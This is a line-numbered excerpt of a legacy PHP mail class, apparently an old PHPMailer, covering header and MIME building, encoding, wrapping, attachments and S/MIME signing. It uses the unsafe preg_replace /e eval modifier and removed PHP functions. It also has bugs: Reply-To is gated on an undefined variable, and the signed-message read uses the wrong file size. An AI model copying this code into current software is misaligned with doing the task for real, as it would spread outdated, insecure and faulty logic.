2067 function SmtpClose() {
2068 if($this->smtp != NULL) {
2069 if($this->smtp->Connected()) {
2070 $this->smtp->Quit();
2071 $this->smtp->Close();
2072 }
2073 }
2074 }
2075
2076 /**
2077 * Sets the language for all class error messages. Returns false
2078 * if it cannot load the language file. The default language type
2079 * is English.
2080 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2081 * @param string $lang_path Path to the language file directory
2082 * @access public
2083 * @return bool
2084 */
2085 function SetLanguage($lang_type, $lang_path = 'language/') {
2086 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2087 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2088 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2089 include($lang_path.'phpmailer.lang-en.php');
2090 } else {
2091 $this->SetError('Could not load language file');
2092 return false;
2093 }
2094 $this->language = $PHPMAILER_LANG;
2095
2096 return true;
2097 }
2098
2099 /////////////////////////////////////////////////
2100 // METHODS, MESSAGE CREATION
2101 /////////////////////////////////////////////////
2102
2103 /**
2104 * Creates recipient headers.
2105 * @access private
2106 * @return string
2107 */
2108 function AddrAppend($type, $addr) {
2109 $addr_str = $type . ': ';
2110 $addr_str .= $this->AddrFormat($addr[0]);
2111 if(count($addr) > 1) {
2112 for($i = 1; $i < count($addr); $i++) {
2113 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2114 }
2115 }
2116 $addr_str .= $this->LE;
2117
2118 return $addr_str;
2119 }
2120
2121 /**
2122 * Formats an address correctly.
2123 * @access private
2124 * @return string
2125 */
2126 function AddrFormat($addr) {
2127 if(empty($addr[1])) {
2128 $formatted = $this->SecureHeader($addr[0]);
2129 } else {
2130 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2131 }
2132
2133 return $formatted;
2134 }
2135
2136 /**
2137 * Wraps message for use with mailers that do not
2138 * automatically perform wrapping and for quoted-printable.
2139 * Original written by philippe.
2140 * @access private
2141 * @return string
2142 */
2143 function WrapText($message, $length, $qp_mode = false) {
2144 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2145 // If utf-8 encoding is used, we will need to make sure we don't
2146 // split multibyte characters when we wrap
2147 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2148
2149 $message = $this->FixEOL($message);
2150 if (substr($message, -1) == $this->LE) {
2151 $message = substr($message, 0, -1);
2152 }
2153
2154 $line = explode($this->LE, $message);
2155 $message = '';
2156 for ($i=0 ;$i < count($line); $i++) {
2157 $line_part = explode(' ', $line[$i]);
2158 $buf = '';
2159 for ($e = 0; $e<count($line_part); $e++) {
2160 $word = $line_part[$e];
2161 if ($qp_mode and (strlen($word) > $length)) {
2162 $space_left = $length - strlen($buf) - 1;
2163 if ($e != 0) {
2164 if ($space_left > 20) {
2165 $len = $space_left;
2166 if ($is_utf8) {
2167 $len = $this->UTF8CharBoundary($word, $len);
2168 } elseif (substr($word, $len - 1, 1) == "=") {
2169 $len--;
2170 } elseif (substr($word, $len - 2, 1) == "=") {
2171 $len -= 2;
2172 }
2173 $part = substr($word, 0, $len);
2174 $word = substr($word, $len);
2175 $buf .= ' ' . $part;
2176 $message .= $buf . sprintf("=%s", $this->LE);
2177 } else {
2178 $message .= $buf . $soft_break;
2179 }
2180 $buf = '';
2181 }
2182 while (strlen($word) > 0) {
2183 $len = $length;
2184 if ($is_utf8) {
2185 $len = $this->UTF8CharBoundary($word, $len);
2186 } elseif (substr($word, $len - 1, 1) == "=") {
2187 $len--;
2188 } elseif (substr($word, $len - 2, 1) == "=") {
2189 $len -= 2;
2190 }
2191 $part = substr($word, 0, $len);
2192 $word = substr($word, $len);
2193
2194 if (strlen($word) > 0) {
2195 $message .= $part . sprintf("=%s", $this->LE);
2196 } else {
2197 $buf = $part;
2198 }
2199 }
2200 } else {
2201 $buf_o = $buf;
2202 $buf .= ($e == 0) ? $word : (' ' . $word);
2203
2204 if (strlen($buf) > $length and $buf_o != '') {
2205 $message .= $buf_o . $soft_break;
2206 $buf = $word;
2207 }
2208 }
2209 }
2210 $message .= $buf . $this->LE;
2211 }
2212
2213 return $message;
2214 }
2215
2216 /**
2217 * Finds last character boundary prior to maxLength in a utf-8
2218 * quoted (printable) encoded string.
2219 * Original written by Colin Brown.
2220 * @access private
2221 * @param string $encodedText utf-8 QP text
2222 * @param int $maxLength find last character boundary prior to this length
2223 * @return int
2224 */
2225 function UTF8CharBoundary($encodedText, $maxLength) {
2226 $foundSplitPos = false;
2227 $lookBack = 3;
2228 while (!$foundSplitPos) {
2229 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2230 $encodedCharPos = strpos($lastChunk, "=");
2231 if ($encodedCharPos !== false) {
2232 // Found start of encoded character byte within $lookBack block.
2233 // Check the encoded byte value (the 2 chars after the '=')
2234 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2235 $dec = hexdec($hex);
2236 if ($dec < 128) { // Single byte character.
2237 // If the encoded char was found at pos 0, it will fit
2238 // otherwise reduce maxLength to start of the encoded char
2239 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2240 $maxLength - ($lookBack - $encodedCharPos);
2241 $foundSplitPos = true;
2242 } elseif ($dec >= 192) { // First byte of a multi byte character
2243 // Reduce maxLength to split at start of character
2244 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2245 $foundSplitPos = true;
2246 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2247 $lookBack += 3;
2248 }
2249 } else {
2250 // No encoded character found
2251 $foundSplitPos = true;
2252 }
2253 }
2254 return $maxLength;
2255 }
2256
2257 /**
2258 * Set the body wrapping.
2259 * @access private
2260 * @return void
2261 */
2262 function SetWordWrap() {
2263 if($this->WordWrap < 1) {
2264 return;
2265 }
2266
2267 switch($this->message_type) {
2268 case 'alt':
2269 /* fall through */
2270 case 'alt_attachments':
2271 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2272 break;
2273 default:
2274 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2275 break;
2276 }
2277 }
2278
2279 /**
2280 * Assembles message header.
2281 * @access private
2282 * @return string
2283 */
2284 function CreateHeader() {
2285 $result = '';
2286
2287 /* Set the boundaries */
2288 $uniq_id = md5(uniqid(time()));
2289 $this->boundary[1] = 'b1_' . $uniq_id;
2290 $this->boundary[2] = 'b2_' . $uniq_id;
2291
2292 $result .= $this->HeaderLine('Date', $this->RFCDate());
2293 if($this->Sender == '') {
2294 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2295 } else {
2296 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2297 }
2298
2299 /* To be created automatically by mail() */
2300 if($this->Mailer != 'mail') {
2301 if(count($this->to) > 0) {
2302 $result .= $this->AddrAppend('To', $this->to);
2303 } elseif (count($this->cc) == 0) {
2304 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2305 }
2306 if(count($this->cc) > 0) {
2307 $result .= $this->AddrAppend('Cc', $this->cc);
2308 }
2309 }
2310
2311 $from = array();
2312 $from[0][0] = trim($this->From);
2313 $from[0][1] = $this->FromName;
2314 $result .= $this->AddrAppend('From', $from);
2315
2316 /* sendmail and mail() extract Cc from the header before sending */
2317 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2318 $result .= $this->AddrAppend('Cc', $this->cc);
2319 }
2320
2321 /* sendmail and mail() extract Bcc from the header before sending */
2322 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2323 $result .= $this->AddrAppend('Bcc', $this->bcc);
2324 }
2325 if($replyto != "")
2326 {
2327 if(count($this->ReplyTo) > 0) {
2328 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2329 }
2330 }
2331 /* mail() sets the subject itself */
2332 if($this->Mailer != 'mail') {
2333 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2334 }
2335
2336 if($this->MessageID != '') {
2337 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2338 } else {
2339 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2340 }
2341 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2342 if($this->ConfirmReadingTo != '') {
2343 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2344 }
2345
2346 // Add custom headers
2347 for($index = 0; $index < count($this->CustomHeader); $index++) {
2348 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2349 }
2350 if (!$this->sign_key_file) {
2351 $result .= $this->HeaderLine('MIME-Version', '1.0');
2352 $result .= $this->GetMailMIME();
2353 }
2354
2355 return $result;
2356 }
2357
2358 /**
2359 * Returns the message MIME.
2360 * @access private
2361 * @return string
2362 */
2363 function GetMailMIME() {
2364 $result = '';
2365 switch($this->message_type) {
2366 case 'plain':
2367 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2368 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2369 break;
2370 case 'attachments':
2371 /* fall through */
2372 case 'alt_attachments':
2373 if($this->InlineImageExists()){
2374 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2375 } else {
2376 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2377 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2378 }
2379 break;
2380 case 'alt':
2381 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2382 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2383 break;
2384 }
2385
2386 if($this->Mailer != 'mail') {
2387 $result .= $this->LE.$this->LE;
2388 }
2389
2390 return $result;
2391 }
2392
2393 /**
2394 * Assembles the message body. Returns an empty string on failure.
2395 * @access private
2396 * @return string
2397 */
2398 function CreateBody() {
2399 $result = '';
2400 if ($this->sign_key_file) {
2401 $result .= $this->GetMailMIME();
2402 }
2403
2404 $this->SetWordWrap();
2405
2406 switch($this->message_type) {
2407 case 'alt':
2408 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2409 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2410 $result .= $this->LE.$this->LE;
2411 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2412 $result .= $this->EncodeString($this->Body, $this->Encoding);
2413 $result .= $this->LE.$this->LE;
2414 $result .= $this->EndBoundary($this->boundary[1]);
2415 break;
2416 case 'plain':
2417 $result .= $this->EncodeString($this->Body, $this->Encoding);
2418 break;
2419 case 'attachments':
2420 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2421 $result .= $this->EncodeString($this->Body, $this->Encoding);
2422 $result .= $this->LE;
2423 $result .= $this->AttachAll();
2424 break;
2425 case 'alt_attachments':
2426 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2427 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2428 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2429 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2430 $result .= $this->LE.$this->LE;
2431 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2432 $result .= $this->EncodeString($this->Body, $this->Encoding);
2433 $result .= $this->LE.$this->LE;
2434 $result .= $this->EndBoundary($this->boundary[2]);
2435 $result .= $this->AttachAll();
2436 break;
2437 }
2438
2439 if($this->IsError()) {
2440 $result = '';
2441 } else if ($this->sign_key_file) {
2442 $file = tempnam("", "mail");
2443 $fp = fopen($file, "w");
2444 fwrite($fp, $result);
2445 fclose($fp);
2446 $signed = tempnam("", "signed");
2447
2448 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2449 $fp = fopen($signed, "r");
2450 $result = fread($fp, filesize($this->sign_key_file));
2451 fclose($fp);
2452 } else {
2453 $this->SetError($this->Lang("signing").openssl_error_string());
2454 $result = '';
2455 }
2456
2457 unlink($file);
2458 unlink($signed);
2459 }
2460
2461 return $result;
2462 }
2463
2464 /**
2465 * Returns the start of a message boundary.
2466 * @access private
2467 */
2468 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2469 $result = '';
2470 if($charSet == '') {
2471 $charSet = $this->CharSet;
2472 }
2473 if($contentType == '') {
2474 $contentType = $this->ContentType;
2475 }
2476 if($encoding == '') {
2477 $encoding = $this->Encoding;
2478 }
2479 $result .= $this->TextLine('--' . $boundary);
2480 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2481 $result .= $this->LE;
2482 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2483 $result .= $this->LE;
2484
2485 return $result;
2486 }
2487
2488 /**
2489 * Returns the end of a message boundary.
2490 * @access private
2491 */
2492 function EndBoundary($boundary) {
2493 return $this->LE . '--' . $boundary . '--' . $this->LE;
2494 }
2495
2496 /**
2497 * Sets the message type.
2498 * @access private
2499 * @return void
2500 */
2501 function SetMessageType() {
2502 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2503 $this->message_type = 'plain';
2504 } else {
2505 if(count($this->attachment) > 0) {
2506 $this->message_type = 'attachments';
2507 }
2508 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2509 $this->message_type = 'alt';
2510 }
2511 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2512 $this->message_type = 'alt_attachments';
2513 }
2514 }
2515 }
2516
2517 /* Returns a formatted header line.
2518 * @access private
2519 * @return string
2520 */
2521 function HeaderLine($name, $value) {
2522 return $name . ': ' . $value . $this->LE;
2523 }
2524
2525 /**
2526 * Returns a formatted mail line.
2527 * @access private
2528 * @return string
2529 */
2530 function TextLine($value) {
2531 return $value . $this->LE;
2532 }
2533
2534 /////////////////////////////////////////////////
2535 // CLASS METHODS, ATTACHMENTS
2536 /////////////////////////////////////////////////
2537
2538 /**
2539 * Adds an attachment from a path on the filesystem.
2540 * Returns false if the file could not be found
2541 * or accessed.
2542 * @param string $path Path to the attachment.
2543 * @param string $name Overrides the attachment name.
2544 * @param string $encoding File encoding (see $Encoding).
2545 * @param string $type File extension (MIME) type.
2546 * @return bool
2547 */
2548 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2549 if(!@is_file($path)) {
2550 $this->SetError($this->Lang('file_access') . $path);
2551 return false;
2552 }
2553
2554 $filename = basename($path);
2555 if($name == '') {
2556 $name = $filename;
2557 }
2558
2559 $cur = count($this->attachment);
2560 $this->attachment[$cur][0] = $path;
2561 $this->attachment[$cur][1] = $filename;
2562 $this->attachment[$cur][2] = $name;
2563 $this->attachment[$cur][3] = $encoding;
2564 $this->attachment[$cur][4] = $type;
2565 $this->attachment[$cur][5] = false; // isStringAttachment
2566 $this->attachment[$cur][6] = 'attachment';
2567 $this->attachment[$cur][7] = 0;
2568
2569 return true;
2570 }
2571
2572 /**
2573 * Attaches all fs, string, and binary attachments to the message.
2574 * Returns an empty string on failure.
2575 * @access private
2576 * @return string
2577 */
2578 function AttachAll() {
2579 /* Return text of body */
2580 $mime = array();
2581
2582 /* Add all attachments */
2583 for($i = 0; $i < count($this->attachment); $i++) {
2584 /* Check for string attachment */
2585 $bString = $this->attachment[$i][5];
2586 if ($bString) {
2587 $string = $this->attachment[$i][0];
2588 } else {
2589 $path = $this->attachment[$i][0];
2590 }
2591
2592 $filename = $this->attachment[$i][1];
2593 $name = $this->attachment[$i][2];
2594 $encoding = $this->attachment[$i][3];
2595 $type = $this->attachment[$i][4];
2596 $disposition = $this->attachment[$i][6];
2597 $cid = $this->attachment[$i][7];
2598
2599 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2600 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2601 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2602
2603 if($disposition == 'inline') {
2604 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2605 }
2606
2607 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2608
2609 /* Encode as string attachment */
2610 if($bString) {
2611 $mime[] = $this->EncodeString($string, $encoding);
2612 if($this->IsError()) {
2613 return '';
2614 }
2615 $mime[] = $this->LE.$this->LE;
2616 } else {
2617 $mime[] = $this->EncodeFile($path, $encoding);
2618 if($this->IsError()) {
2619 return '';
2620 }
2621 $mime[] = $this->LE.$this->LE;
2622 }
2623 }
2624
2625 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2626
2627 return join('', $mime);
2628 }
2629
2630 /**
2631 * Encodes attachment in requested format. Returns an
2632 * empty string on failure.
2633 * @access private
2634 * @return string
2635 */
2636 function EncodeFile ($path, $encoding = 'base64') {
2637 if(!@$fd = fopen($path, 'rb')) {
2638 $this->SetError($this->Lang('file_open') . $path);
2639 return '';
2640 }
2641 $magic_quotes = get_magic_quotes_runtime();
2642 set_magic_quotes_runtime(0);
2643 $file_buffer = fread($fd, filesize($path));
2644 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2645 fclose($fd);
2646 set_magic_quotes_runtime($magic_quotes);
2647
2648 return $file_buffer;
2649 }
2650
2651 /**
2652 * Encodes string to requested format. Returns an
2653 * empty string on failure.
2654 * @access private
2655 * @return string
2656 */
2657 function EncodeString ($str, $encoding = 'base64') {
2658 $encoded = '';
2659 switch(strtolower($encoding)) {
2660 case 'base64':
2661 /* chunk_split is found in PHP >= 3.0.6 */
2662 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2663 break;
2664 case '7bit':
2665 case '8bit':
2666 $encoded = $this->FixEOL($str);
2667 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2668 $encoded .= $this->LE;
2669 break;
2670 case 'binary':
2671 $encoded = $str;
2672 break;
2673 case 'quoted-printable':
2674 $encoded = $this->EncodeQP($str);
2675 break;
2676 default:
2677 $this->SetError($this->Lang('encoding') . $encoding);
2678 break;
2679 }
2680 return $encoded;
2681 }
2682
2683 /**
2684 * Encode a header string to best of Q, B, quoted or none.
2685 * @access private
2686 * @return string
2687 */
2688 function EncodeHeader ($str, $position = 'text') {
2689 $x = 0;
2690
2691 switch (strtolower($position)) {
2692 case 'phrase':
2693 if (!preg_match('/[\200-\377]/', $str)) {
2694 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2695 $encoded = addcslashes($str, "\0..\37\177\\\"");
2696 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2697 return ($encoded);
2698 } else {
2699 return ("\"$encoded\"");
2700 }
2701 }
2702 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2703 break;
2704 case 'comment':
2705 $x = preg_match_all('/[()"]/', $str, $matches);
2706 /* Fall-through */
2707 case 'text':
2708 default:
2709 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2710 break;
2711 }
2712
2713 if ($x == 0) {
2714 return ($str);
2715 }
2716
2717 $maxlen = 75 - 7 - strlen($this->CharSet);
2718 /* Try to select the encoding which should produce the shortest output */
2719 if (strlen($str)/3 < $x) {
2720 $encoding = 'B';
2721 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2722 // Use a custom function which correctly encodes and wraps long
2723 // multibyte strings without breaking lines within a character
2724 $encoded = $this->Base64EncodeWrapMB($str);
2725 } else {
2726 $encoded = base64_encode($str);
2727 $maxlen -= $maxlen % 4;
2728 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2729 }
2730 } else {
2731 $encoding = 'Q';
2732 $encoded = $this->EncodeQ($str, $position);
2733 $encoded = $this->WrapText($encoded, $maxlen, true);
2734 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2735 }
2736
2737 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2738 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2739
2740 return $encoded;
2741 }
2742
2743 /**
2744 * Checks if a string contains multibyte characters.
2745 * @access private
2746 * @param string $str multi-byte text to wrap encode
2747 * @return bool
2748 */
2749 function HasMultiBytes($str) {
2750 if (function_exists('mb_strlen')) {
2751 return (strlen($str) > mb_strlen($str, $this->CharSet));
2752 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2753 return False;
2754 }
2755 }
2756
2757 /**
2758 * Correctly encodes and wraps long multibyte strings for mail headers
2759 * without breaking lines within a character.
2760 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2761 * @access private
2762 * @param string $str multi-byte text to wrap encode
2763 * @return string
2764 */
2765 function Base64EncodeWrapMB($str) {
2766 $start = "=?".$this->CharSet."?B?";
2767 $end = "?=";
2768 $encoded = "";
2769
2770 $mb_length = mb_strlen($str, $this->CharSet);
2771 // Each line must have length <= 75, including $start and $end
2772 $length = 75 - strlen($start) - strlen($end);
2773 // Average multi-byte ratio
2774 $ratio = $mb_length / strlen($str);
2775 // Base64 has a 4:3 ratio
2776 $offset = $avgLength = floor($length * $ratio * .75);
2777
2778 for ($i = 0; $i < $mb_length; $i += $offset) {
2779 $lookBack = 0;
2780
2781 do {
2782 $offset = $avgLength - $lookBack;
2783 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2784 $chunk = base64_encode($chunk);
2785 $lookBack++;
2786 }
2787 while (strlen($chunk) > $length);
2788
2789 $encoded .= $chunk . $this->LE;
2790 }
2791
2792 // Chomp the last linefeed
2793 $encoded = substr($encoded, 0, -strlen($this->LE));
2794 return $encoded;
2795 }
2796
2797 /**
2798 * Encode string to quoted-printable.
2799 * @access private
2800 * @return string
2801 */
2802 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2803 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2804 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2805 $eol = "\r\n";
2806 $escape = '=';
2807 $output = '';
2808 while( list(, $line) = each($lines) ) {
2809 $linlen = strlen($line);
2810 $newline = '';
2811 for($i = 0; $i < $linlen; $i++) {
2812 $c = substr( $line, $i, 1 );
2813 $dec = ord( $c );
2814 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2815 $c = '=2E';
2816 }
2817 if ( $dec == 32 ) {
2818 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2819 $c = '=20';
2820 } else if ( $space_conv ) {
2821 $c = '=20';
2822 }
2823 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2824 $h2 = floor($dec/16);
2825 $h1 = floor($dec%16);
2826 $c = $escape.$hex[$h2].$hex[$h1];
2827 }
2828 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2829 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2830 $newline = '';
2831 // check if newline first character will be point or not
2832 if ( $dec == 46 ) {
2833 $c = '=2E';
2834 }
2835 }
2836 $newline .= $c;
2837 } // end of for
2838 $output .= $newline.$eol;
2839 } // end of while
2840 return trim($output);
2841 }
2842
2843 /**
2844 * Encode string to q encoding.
2845 * @access private
2846 * @return string
2847 */
2848 function EncodeQ ($str, $position = 'text') {
2849 /* There should not be any EOL in the string */
2850 $encoded = preg_replace("[\r\n]", '', $str);
2851
2852 switch (strtolower($position)) {
2853 case 'phrase':
2854 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2855 break;
2856 case 'comment':
2857 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2858 case 'text':
2859 default:
2860 /* Replace every high ascii, control =, ? and _ characters */
2861 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2862 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2863 break;
2864 }
2865
2866 /* Replace every spaces to _ (more readable than =20) */
2867 $encoded = str_replace(' ', '_', $encoded);
2868
2869 return $encoded;
2870 }
2871
2872 /**
2873 * Adds a string or binary attachment (non-filesystem) to the list.
2874 * This method can be used to attach ascii or binary data,
2875 * such as a BLOB record from a database.
2876 * @param string $string String attachment data.
2877 * @param string $filename Name of the attachment.
2878 * @param string $encoding File encoding (see $Encoding).
2879 * @param string $type File extension (MIME) type.
2880 * @return void
2881 */
2882 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2883 /* Append to $attachment array */
2884 $cur = count($this->attachment);
2885 $this->attachment[$cur][0] = $string;
2886 $this->attachment[$cur][1] = $filename;
2887 $this->attachment[$cur][2] = $filename;
2888 $this->attachment[$cur][3] = $encoding;
2889 $this->attachment[$cur][4] = $type;
2890 $this->attachment[$cur][5] = true; // isString
2891 $this->attachment[$cur][6] = 'attachment';
2892 $this->attachment[$cur][7] = 0;
2893 }
2894
2895 /**
2896 * Adds an embedded attachment. This can include images, sounds, and
2897 * just about any other document. Make sure to set the $type to an
2898 * image type. For JPEG images use "image/jpeg" and for GIF images
2899 * use "image/gif".
2900 * @param string $path Path to the attachment.
2901 * @param string $cid Content ID of the attachment. Use this to identify
2902 * the Id for accessing the image in an HTML form.
2903 * @param string $name Overrides the attachment name.
2904 * @param string $encoding File encoding (see $Encoding).
2905 * @param string $type File extension (MIME) type.
2906 * @return bool
2907 */
2908 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2909
2910 if(!@is_file($path)) {
2911 $this->SetError($this->Lang('file_access') . $path);
2912 return false;
2913 }
2914
2915 $filename = basename($path);
2916 if($name == '') {
2917 $name = $filename;
2918 }
2919
2920 /* Append to $attachment array */
2921 $cur = count($this->attachment);
2922 $this->attachment[$cur][0] = $path;
2923 $this->attachment[$cur][1] = $filename;
2924 $this->attachment[$cur][2] = $name;
2925 $this->attachment[$cur][3] = $encoding;
2926 $this->attachment[$cur][4] = $type;
2927 $this->attachment[$cur][5] = false;
2928 $this->attachment[$cur][6] = 'inline';
2929 $this->attachment[$cur][7] = $cid;
2930
2931 return true;
2932 }
2933
2934 /**
2935 * Returns true if an inline attachment is present.
2936 * @access private
2937 * @return bool
2938 */
2939 function InlineImageExists() {
2940 $result = false;
2941 for($i = 0; $i < count($this->attachment); $i++) {
2942 if($this->attachment[$i][6] == 'inline') {
2943 $result = true;
2944 break;
2945 }
2946 }
2947
2948 return $result;
2949 }
2950
2951 /////////////////////////////////////////////////
2952 // CLASS METHODS, MESSAGE RESET
2953 /////////////////////////////////////////////////
2954
2955 /**
2956 * Clears all recipients assigned in the TO array. Returns void.
2957 * @return void
2958 */
2959 function ClearAddresses() {
2960 $this->to = array();
2961 }
2962
2963 /**
2964 * Clears all recipients assigned in the CC array. Returns void.
2965 * @return void
2966 */
2967 function ClearCCs() {
2968 $this->cc = array();
2969 }
2970
2971 /**
2972 * Clears all recipients assigned in the BCC array. Returns void.
2973 * @return void
2974 */
2975 function ClearBCCs() {
2976 $this->bcc = array();
2977 }
2978
2979 /**
2980 * Clears all recipients assigned in the ReplyTo array. Returns void.
2981 * @return void
2982 */
2983 function ClearReplyTos() {
2984 $this->ReplyTo = array();
2985 }
2986
2987 /**
2988 * Clears all recipients assigned in the TO, CC and BCC
2989 * array. Returns void.
2990 * @return void
2991 */
2992 function ClearAllRecipients() {
2993 $this->to = array();
2994 $this->cc = array();
2995 $this->bcc = array();
2996 }
2997
2998 /**
2999 * Clears all previously set filesystem, string, and binary
3000 * attachments. Returns void.
3001 * @return void
3002 */
3003 function ClearAttachments() {
3004 $this->attachment = array();
3005 }
3006
3007 /**
3008 * Clears all custom headers. Returns void.
3009 * @return void
3010 */
3011 function ClearCustomHeaders() {
3012 $this->CustomHeader = array();
3013 }
3014
3015 /////////////////////////////////////////////////
3016 // CLASS METHODS, MISCELLANEOUS
3017 /////////////////////////////////////////////////
3018
3019 /**
3020 * Adds the error message to the error container.
3021 * Returns void.
3022 * @access private
3023 * @return void
3024 */
3025 function SetError($msg) {
3026 $this->error_count++;
3027 $this->ErrorInfo = $msg;
3028 }
3029
3030 /**
3031 * Returns the proper RFC 822 formatted date.
3032 * @access private
3033 * @return string
3034 */
3035 function RFCDate() {
3036 $tz = date('Z');
3037 $tzs = ($tz < 0) ? '-' : '+';
3038 $tz = abs($tz);
3039 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3040 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3041
3042 return $result;
3043 }
3044
3045 /**
3046 * Returns the appropriate server variable. Should work with both
3047 * PHP 4.1.0+ as well as older versions. Returns an empty string
3048 * if nothing is found.
3049 * @access private
3050 * @return mixed
3051 */
3052 function ServerVar($varName) {
3053 global $HTTP_SERVER_VARS;
3054 global $HTTP_ENV_VARS;
3055
3056 if(!isset($_SERVER)) {
3057 $_SERVER = $HTTP_SERVER_VARS;
3058 if(!isset($_SERVER['REMOTE_ADDR'])) {
3059 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3060 }
3061 }
3062
3063 if(isset($_SERVER[$varName])) {
3064 return $_SERVER[$varName];
3065 } else {
3066 return '';
3067 }
3068 }
3069
3070 /**
